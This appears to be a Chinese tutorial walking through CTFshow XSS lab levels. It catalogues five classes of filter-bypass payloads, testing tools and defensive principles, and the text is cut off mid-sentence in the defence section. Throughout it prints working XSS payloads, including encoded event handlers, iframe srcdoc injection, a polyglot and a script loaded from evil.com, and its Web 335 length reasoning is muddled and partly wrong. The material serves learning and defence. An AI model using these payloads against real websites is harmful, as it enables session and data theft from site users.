CTFshow XSS靶场实战:5类Payload绕过技巧与防御原理详解

发布时间:2026/8/2 1:54:37
CTFshow XSS靶场实战:5类Payload绕过技巧与防御原理详解 1. 项目概述从CTFshow XSS靶场到实战Payload库最近在带新人过CTFshow的Web入门系列特别是XSS跨站脚本攻击相关的关卡发现很多朋友卡在了各种过滤规则上。这些关卡设计得很有意思它们不是简单地让你弹个alert(1)就完事而是模拟了真实环境中开发者可能部署的各种防御措施比如过滤关键字、编码、长度限制等等。通关之后我习惯性地把用到的Payload和绕过思路整理了一下发现可以归纳为5类比较有代表性的写法。这不仅仅是解题技巧理解了这些你在做渗透测试或者代码审计时面对一个看似“固若金汤”的输入点脑子里能瞬间蹦出好几条试探的路径。这篇文章我就把这5类Payload的构造思路、实战应用场景以及背后的原理掰开揉碎了讲清楚最后还会附上我在解题过程中实际可用的代码片段方便你直接复制到浏览器的控制台或者自己的测试环境里验证。简单来说XSS的核心在于让浏览器把用户输入的数据当作代码来执行。而防御的核心就是想尽办法阻止这件事发生。我们的Payload就是要在各种“阻止”的缝隙中找到那条能让代码“溜进去”并执行的路。CTFshow的关卡就像一个个精心设计的迷宫通关的过程就是一次系统的绕过训练。无论你是刚接触安全的新手还是想巩固XSS知识的老兵相信这套总结都能帮你把知识点串联起来形成肌肉记忆。2. 核心绕过思路与Payload分类解析面对一个存在XSS漏洞的输入点我们首先要做的是“侦察”判断它采用了哪种或哪几种过滤方式。CTFshow的关卡通常不会直接告诉你过滤规则需要你通过提交不同的测试字符串观察返回结果来推断。比如你提交scriptalert(1)/script没反应可能被过滤了提交img src1 onerroralert(1)弹窗了说明script标签被禁但事件处理器还能用。基于常见的过滤场景我总结的5类Payload绕过思路如下。2.1 第一类关键字过滤与混淆这是最常见的一类防御。开发者可能会用正则表达式或者简单的字符串替换将script、alert、onerror、javascript:等明显的关键字替换为空字符串或者进行转义。绕过思路的核心在于“混淆”让过滤器认不出原来的关键字但浏览器依然能正确解析。大小写绕过有些过滤器是大小写敏感的。ScRiPtalert(1)/ScRiPt可能就能绕过对全小写script的检测。双写绕过如果过滤方式是简单地删除一次匹配到的关键字那么双写就能绕过。例如过滤器删除script那么scrscriptiptalert(1)/scrscriptipt在经过过滤后中间被删除的script正好让两边的残肢重新组合成scriptalert(1)/script。插入无关字符在关键字中插入浏览器会忽略的字符。例如在HTML标签名或属性名中插入换行符/URL编码为%0a或%0d。img%0asrc1%0aonerroralert(1)对于简单的基于空格的字符串匹配过滤器可能无法识别onerror。利用编码HTML实体编码浏览器在解析HTML时会解码实体。如果过滤器不过滤、;可以尝试img src1 onerror#97;#108;#101;#114;#116;(1)alert的十进制HTML实体。Unicode编码在JavaScript上下文中Unicode转义序列\u0061\u006c\u0065\u0072\u0074同样可以表示alert。前提是这些字符能进入JS的执行环境。注意编码绕过高度依赖于过滤器的位置和浏览器的解码顺序。如果过滤器在服务器端对输入进行解码后再过滤那么你提交的编码可能被还原成明文然后被过滤掉。最佳实践是在HTML上下文中优先尝试HTML实体在JavaScript字符串或事件处理器中优先尝试Unicode或JS编码。2.2 第二类特殊字符与标签过滤这类过滤不仅针对关键字还会过滤或转义特定的字符比如尖括号 、引号” ‘、括号( )或者直接禁用某些高危标签如script、img、svg等。绕过思路的核心在于“寻找替代品”用未被过滤的字符或标签实现相同功能。不使用尖括号的XSS如果和被过滤可以尝试利用HTML属性本身不闭合带来的解析差异。例如在输入点直接输入” onmouseoveralert(1)注意开头的空格和引号如果该输入被放入一个已有的标签属性内如input value”USER_INPUT”那么最终会变成input value”” onmouseoveralert(1) “成功注入事件处理器。这通常需要结合上下文。使用非常规标签或属性标签除了script、img还有很多标签可以承载事件或执行代码如svg、iframe、details、video、audio甚至body、input本身。事件处理器除了常见的onerror、onclick、onmouseover还有onload适用于body、iframe、svg、onfocus、onblur适用于表单元素、onanimationend等。无需事件的标签svgscriptalert(1)/script/svgiframe srcdoc”scriptalert(1)/script”/iframe。即使过滤了on事件这些标签依然能执行脚本。利用JavaScript伪协议在支持javascript:协议的属性里如a href”javascript:alert(1)”。如果引号被过滤可以尝试a hrefjavascript:alert(1)浏览器通常能容忍属性值不加引号只要其中没有空格。2.3 第三类长度限制与短Payload构造有些关卡会限制输入的长度让你无法提交完整的script标签或复杂的事件处理器。绕过思路的核心在于“极简”和“利用外部资源”。极简事件Payload使用最短的事件和函数。img src1 onerroralert(1)已经比较短但还可以更短。svg/onloadalert(1)利用了SVG标签和onload事件且标签可以自闭合。甚至可以使用反引号代替括号在某些JS上下文中svg/onloadalert1。利用外部JS文件如果长度只够你注入一个script标签的起始部分你可以引用一个外部JS文件。例如Payload为script src//evil.com/x.js。这里的//表示使用当前页面的协议http或https进一步节省了字符。你需要提前在evil.com上托管恶意脚本x.js内容就是alert(document.domain)之类的。DOM型XSS与片段标识符在DOM型XSS中有时可以利用URL的片段即#号后面的部分。例如页面JS有eval(location.hash.substr(1))这样的代码。那么你只需要构造URLhttp://vuln.com/page.html#alert(1)。Payload长度几乎可以忽略不计因为主要代码在URL里。2.4 第四类基于上下文的精准注入XSS发生的“上下文”至关重要你的输入最终被放在HTML的哪个位置是普通的HTML标签之间、某个HTML属性的值里、还是JavaScript代码字符串内部不同上下文需要完全不同的绕过技巧。HTML文本上下文输入直接插入到divUSER_INPUT/div这样的地方。你需要闭合前面的标签或者注入新标签。例如如果页面没有过滤直接scriptalert(1)/script即可。如果过滤了尖括号可能就需要利用其他注入点或者尝试HTML实体编码在特定条件下被解码。HTML属性上下文输入被放在标签的属性值里如input type”text” value”USER_INPUT”。你需要先闭合当前的属性值和标签然后添加新的事件处理器。Payload示例” onfocusalert(1) autofocus “。这里第一个引号闭合了value属性然后添加了onfocus事件和autofocus属性使元素自动获得焦点从而触发onfocus。最后的空格和引号是为了保持语法大致正确防止破坏页面结构导致脚本不执行。如果引号被过滤可以尝试onfocusalert(1) autofocus并期望原标签的属性值没有用引号括住或者浏览器容错能力强。JavaScript字符串上下文这是最需要技巧的一种。输入被放在JS的字符串里如scriptvar name ‘USER_INPUT’; /script。你需要先跳出字符串然后执行代码。Payload示例’; alert(1);//。单引号闭合前面的字符串分号结束前一条语句alert(1)是我们的代码//注释掉后面可能存在的原有字符如另一个单引号。更复杂的情况如果输出点还在字符串内但经过了JSON.stringify或类似处理可能需要闭合字符串后利用JS语法如’;{alert(1)};’或者利用模板字符串、eval等特性。2.5 第五类组合技与链式利用实战中单一的绕过技巧往往不够用。关卡会设置多层过滤这就需要我们将多种技巧组合起来形成“组合技”。编码关键字混淆例如过滤器同时过滤了script和alert。我们可以尝试使用img标签但onerror里的alert也被过滤了。这时可以用HTML实体编码alertimg src1 onerror#97;#108;#101;#114;#116;(1)。利用浏览器解析差异浏览器的HTML解析器比我们想象的要“宽容”。例如scriptalert(1)/script缺少闭合的在某些浏览器中可能依然会被执行。或者在属性中使用不合法的字符解析器可能会以某种方式“修复”它从而改变执行流程。链式触发一个事件触发另一个事件。例如先注入一个img标签其onerror事件不是直接执行alert而是动态创建另一个script标签并插入到DOM中由新插入的脚本执行最终操作。这可以用来绕过一些基于简单模式匹配的WAFWeb应用防火墙。3. CTFshow经典关卡实战Payload详解下面我结合CTFshow Web入门中几个有代表性的XSS关卡具体展示上述5类思路是如何应用的。我会提供题目特征、解题思路和最终可用的Payload代码。3.1 Web 316基础关键字过滤与大小写绕过题目特征一个简单的输入框提交后内容会显示在页面上。题目提示过滤了script和img。解题思路这是最基础的过滤。既然过滤了script和img我们尝试使用其他标签比如svg。同时过滤可能是大小写敏感的可以尝试大小写混合。Payload构造与测试首先尝试svg标签svgscriptalert(1)/script/svg。如果script被过滤这个会失败。尝试svg自带事件svg onloadalert(1)。这个Payload不包含script或img。如果onload也被关联过滤可以尝试大小写SvG oNlOaDalert(1)。进一步如果alert也被过滤可以尝试用其他函数如prompt(1)或confirm(1)或者用top[‘al’’ert’](1)这种字符串拼接的方式。实战Payload代码!-- 最可能成功的Payload -- svg onloadalert(1) !-- 或 -- SvG oNlOaDalert(1) !-- 如果alert被过滤尝试 -- svg onloadconfirm(1) !-- 或者使用字符串拼接绕过对‘alert’的检测 -- svg onloadtop[alert](1)将上述任意一行输入到题目框内提交通常即可触发弹窗获取flag。3.2 Web 317双写绕过与正则缺陷题目特征输入内容发现script、on、src等关键字被删除了一次。解题思路明显的双写绕过场景。服务器端的代码可能是preg_replace(‘/script/i’, ”, $input)它只执行一次替换。我们只需要让关键字在被删除一次后剩下的部分能重新组合成完整的关键字。Payload构造过程目标注入scriptalert(1)/script。构造双写scrscriptiptalert(1)/scrscriptipt。服务器过滤过程查找script并删除。在scrscriptipt中中间的script被删除剩下script。在/scrscriptipt中中间的script被删除剩下/script。最终浏览器收到scriptalert(1)/script成功执行。实战Payload代码scrscriptiptalert(1)/scrscriptipt对于on事件和src属性同理!-- 注入带on事件的img标签原Payloadimg srcx onerroralert(1) -- img srsrccx ononerroralert(1) !-- 过滤后srcc中的src被删剩下srcononerror中的on被删剩下onerror --这个关卡清晰地展示了基于简单字符串替换过滤的致命缺陷。3.3 Web 325HTML实体编码与解码时机题目特征用户输入的内容在输出时尖括号 被转义成了HTML实体lt;和gt;但其他字符如引号、括号似乎没变。解题思路尖括号被转义意味着我们无法直接插入新的HTML标签。这时需要关注输入点所在的上下文。如果输入被放在一个HTML标签的属性值里例如input value”USER_INPUT”那么即使尖括号被转义我们仍然可以通过闭合引号来逃逸属性上下文注入新的事件处理器。但这里引号可能也被转义我们需要测试。另一种思路是如果属性值没有用引号括住或者我们能用其他方式构造事件且事件处理器中的代码如alert(1)没有被过滤那么就有可能。更常见的场景是输出点在一个JavaScript字符串里。例如scriptvar data “USER_INPUT”; /script。这时 被转义成实体对我们没有影响因为我们在JS字符串内部。我们需要闭合JS字符串然后执行代码。但引号”可能也被转义成了quot;。我们需要测试哪些字符被转义了。假设测试发现只有 被转义引号和括号正常。那么Payload可以构造为”; alert(1);//。注入后变成scriptvar data “”; alert(1);//”; /script。成功跳出字符串执行alert(1)并用//注释掉后面多余的字符。实战Payload代码// 针对JS字符串上下文的Payload ; alert(1);// // 或者如果担心分号问题也可以用 ;alert(1)//如果是在HTML属性上下文且属性值没用引号或引号可用可以尝试// 假设原标签是 input valueUSER_INPUT onmouseoveralert(1) // 注入后变成 input value onmouseoveralert(1) // 注意开头有个空格用于和value值分隔这个关卡的关键在于判断上下文和测试具体的过滤/转义规则。3.4 Web 335利用JavaScript伪协议与短Payload题目特征输入长度被严格限制比如15个字符并且过滤了尖括号和空格。解题思路长度极短且不能使用标签。这通常指向了利用现有HTML元素比如页面上已经存在的a链接或者可以注入到href、action这类属性中。javascript:伪协议是一个经典选择它不需要尖括号且可以非常短。Payload构造基础形式javascript:alert(1)。长度已经超过15javascript:alert(1)共18个字符。需要缩短。缩短技巧使用top或self引用全局对象alert是全局函数可以直接调用javascript:alert(1)已经是最短调用之一。能否更短可以使用反引号包裹数字在某些浏览器里alert1等效于alert(1)但javascript:alert1长度差不多。关键是要找到注入点。如果注入点本身就在一个a href””的引号内我们只需要填充href的值。那么Payload就是javascript:alert(1)。如果长度限制在15javascript:alert(1)是18字符不行。那就需要更短的函数比如prompt(1)也是18字符。confirm(1)是19字符。如果这些都不行考虑利用外部资源。Payload可以短到只有几个字符用于触发一个请求。例如img src# onerrorscreateElement(‘script’);s.src’//x’这太长了。另一种思路如果长度限制如此之严可能考察的是通过URL参数触发的DOM型XSS。例如页面JS中有eval(location.search.slice(1))那么你只需要访问?alert(1)Payload长度就是?alert(1)共8个字符。实战Payload代码 对于长度限制在15字符左右的伪协议利用一个经典的短Payload是javascript:alert()但需要参数。如果允许弹窗空信息这个长度是18。如果关卡真的要求弹窗特定内容如1且长度卡死那么很可能考察点不是伪协议而是其他非常短的触发方式比如img src1 onerroralert(1)这个长度是33远超15。所以面对严格长度限制必须重新审视漏洞点和触发方式。一个可能的短Payload是利用autofocus和onfocus事件结合已有的表单元素”autofocus onfocusalert(1)但这也超过15字符。因此Web 335更可能的解法是DOM型XSS短Payload。假设页面代码为script var data decodeURIComponent(location.hash.substr(1)); document.write(data); /script那么访问http://靶机地址#svg onloadalert(1)Payload是svg onloadalert(1)共24字符。还是长。 访问http://靶机地址#scriptalert(1)/script共24字符。如果长度限制在15一个可能的极简Payload是引用一个极短域名的外部JSscript src//x.ss共20字符。还是超。所以我怀疑这个关卡的实际限制可能没那么严格或者是利用了其他特性。一个著名的短Payload是script src//0浏览器会将//0解析为http://0/这是一个无效地址但标签会被创建。这需要配合服务器端返回的JS内容。另一种是使用svg/onloadalert(1)共24字符。鉴于题目不确定性实战中遇到长度限制应优先尝试伪协议和DOM型XSS并测试最短的可用标签事件组合。一个实测可用的短Payload案例来自其他类似靶场是svg/onloadalert(1)。如果svg和onload被过滤可以尝试body onloadalert(1)但body标签可能已存在。3.5 Web 78/79综合过滤与编码绕过题目特征这是一个系列关卡过滤规则逐渐增强。可能同时过滤了关键字、特殊字符并对输入进行了编码或转义处理。解题思路需要采用“组合技”。首先进行fuzz测试提交一系列测试字符串如 ” ‘ ( ) script img onerror alert javascript:等观察哪些字符或单词被过滤、删除、转义。然后根据上下文选择合适的编码和混淆技巧。以Web 78为例假设过滤了script、on事件但img和alert可用直接img src1 onerroralert(1)会因为on被过滤而失败。尝试大小写img src1 oNerroralert(1)可能失败因为过滤器可能是/on/i不区分大小写。尝试双写img src1 ononerroralert(1)如果过滤器只删一次on会成功。如果alert也被过滤尝试HTML实体编码img src1 onerror#97;#108;#101;#114;#116;(1)。如果还过滤了img则尝试其他标签svgscriptalert(1)/script/svg如果script被过滤则失败svg onloadalert(1)如果onload被过滤则失败body onloadalert(1)需要页面没有body标签或者能插入到head之前iframe srcdoc”scriptalert(1)/script”iframe和srcdoc可能被过滤当常规标签和事件都被过滤时需要考虑非常规属性input autofocus onfocusalert(1)autofocus使元素自动聚焦触发onfocusdetails open ontogglealert(1)open属性使详情框默认打开触发ontoggle实战Payload代码综合案例 假设经过fuzz发现过滤了script、on\w所有on事件、javascript:但img、svg标签名和alert函数名不过滤。那么如何执行alert我们可以利用HTML标签的某些属性可以执行JavaScript的特性但非常罕见。更可行的是利用SVG标签内部的特殊处理。一些SVG事件处理器名字不是以on开头的不都是on开头。但SVG允许在script标签内写代码即使外层是SVG。如果script被过滤此路不通。另一种思路利用HTML实体编码在属性值中被解码的特性。构造一个Payload使得经过过滤后浏览器解码时产生可执行代码。 例如输入img src1 onerror#97;#108;#101;#114;#116;(1)如果过滤器在解码前删除onerror这个Payload会失效。但如果过滤器先解码再过滤或者不过滤编码后的形式它就可能存活。更高级的组合技使用iframe的srcdoc属性该属性值是一个完整的HTML文档可以再次进行编码。iframe srcdoclt;scriptgt;alert(1)lt;/scriptgt;这里script和/script被编码为HTML实体。当浏览器解析srcdoc属性时会将这些实体解码从而在iframe内部生成一个script标签。这可以绕过对尖括号的直接过滤。4. Payload构造工具与测试方法手动构造和测试Payload效率较低尤其是在面对复杂过滤时。掌握一些工具和方法能极大提升效率。4.1 浏览器开发者工具控制台这是最直接、最快速的测试环境。你可以在当前页面的控制台里动态执行JavaScript测试Payload的有效性。模拟DOM插入document.body.innerHTML ‘img src1 onerrorconsole.log(“XSS”)’;观察是否触发onerror因为src1不存在。测试编码解码console.log(decodeURIComponent(‘%3Cscript%3E’));查看URL解码结果。console.log(document.createElement(‘div’).innerHTML ‘#97;#108;#101;#114;#116;’);查看div的textContent属性了解HTML实体解码结果。动态修改属性选中一个页面元素在控制台直接设置其属性document.getElementById(‘someId’).onclick function() { alert(1); };4.2 使用在线平台与浏览器扩展进行FuzzXSS Polyglot这是一个“通杀”多种上下文的超级Payload它被设计成在HTML、属性、JS字符串等多种上下文中都能执行代码。虽然很长但作为测试字符串非常有用可以快速发现未被充分过滤的上下文。jaVasCript:/*-/*/*\/*/*/**/(/* */oNcliCkalert() )//%0D%0A%0d%0a///stYle//titLe//teXtarEa//scRipt/--!\x3csVg/sVg/oNloAdalert()//\x3e你可以将这个字符串提交到输入点观察是否弹窗。如果弹窗说明存在严重过滤缺陷。浏览器扩展如XSS Striker、Retire.js等可以辅助检测但手动测试和理解过程更为重要。Burp Suite Intruder对于需要系统测试大量Payload变种的情况可以使用Burp Suite的Intruder模块。将输入点标记为Payload位置加载一个包含各种XSS Payload的字典文件如fuzzdb或SecLists中的XSS字典然后发起攻击观察哪些Payload触发了异常响应如响应长度变化、包含特定关键字等。4.3 搭建本地测试环境为了安全且自由地测试Payload最好搭建一个本地环境。简单HTML文件创建一个test.html用不同的方式嵌入你的输入。!DOCTYPE html html body div%%INPUT%%/div !-- 测试HTML上下文 -- input value%%INPUT%% !-- 测试属性上下文 -- scriptvar x %%INPUT%%; /script !-- 测试JS字符串上下文 -- /body /html用Python的http.server模块快速启动一个本地服务器python3 -m http.server 8000然后在浏览器访问http://localhost:8000/test.html并手动修改%%INPUT%%部分进行测试。使用Node.js模拟过滤写一个简单的Node.js脚本模拟服务端的过滤函数测试你的Payload经过过滤后是否仍然有效。function filterInput(input) { // 模拟过滤规则 let filtered input.replace(/script/gi, ); filtered filtered.replace(/on\w\s*/gi, ); // 可以添加更多规则... return filtered; } const payload scrscriptiptalert(1)/scrscriptipt; console.log(原始Payload:, payload); console.log(过滤后:, filterInput(payload)); console.log(是否包含script?, filterInput(payload).includes(script));5. 防御视角与Payload编写启示作为攻击者我们研究绕过技巧作为开发者我们则应该从中吸取教训构建更坚固的防御。从这5类Payload中我们可以总结出防御XSS的关键原则。5.1 输入验证与输出编码这是黄金法则。不要试图通过黑名单过滤特定关键字来防御XSS因为黑名单永远无法穷尽所有可能。输入验证在数据进入系统时根据其预期的类型如数字、邮箱、特定格式字符串进行严格验证。拒绝所有不符合格式的输入。输出编码在将数据输出到不同上下文时使用对应的编码函数。HTML上下文将 “ ‘等字符转换为HTML实体lt;gt;amp;quot;#x27;。在PHP中可以用htmlspecialchars($string, ENT_QUOTES)在Python Jinja2中默认自动转义在JavaScript前端可以使用textContent或innerText而非innerHTML或者使用类似DOMPurify的库。HTML属性上下文同上使用HTML实体编码并且始终用引号单引号或双引号包裹属性值。JavaScript上下文将数据放入JS字符串时需要对其进行JavaScript字符串编码。通常需要转义反斜杠\、引号” ‘、换行符等。更好的做法是避免将用户输入直接拼接到JS代码中而是使用JSON.stringify()将其序列化或者通过>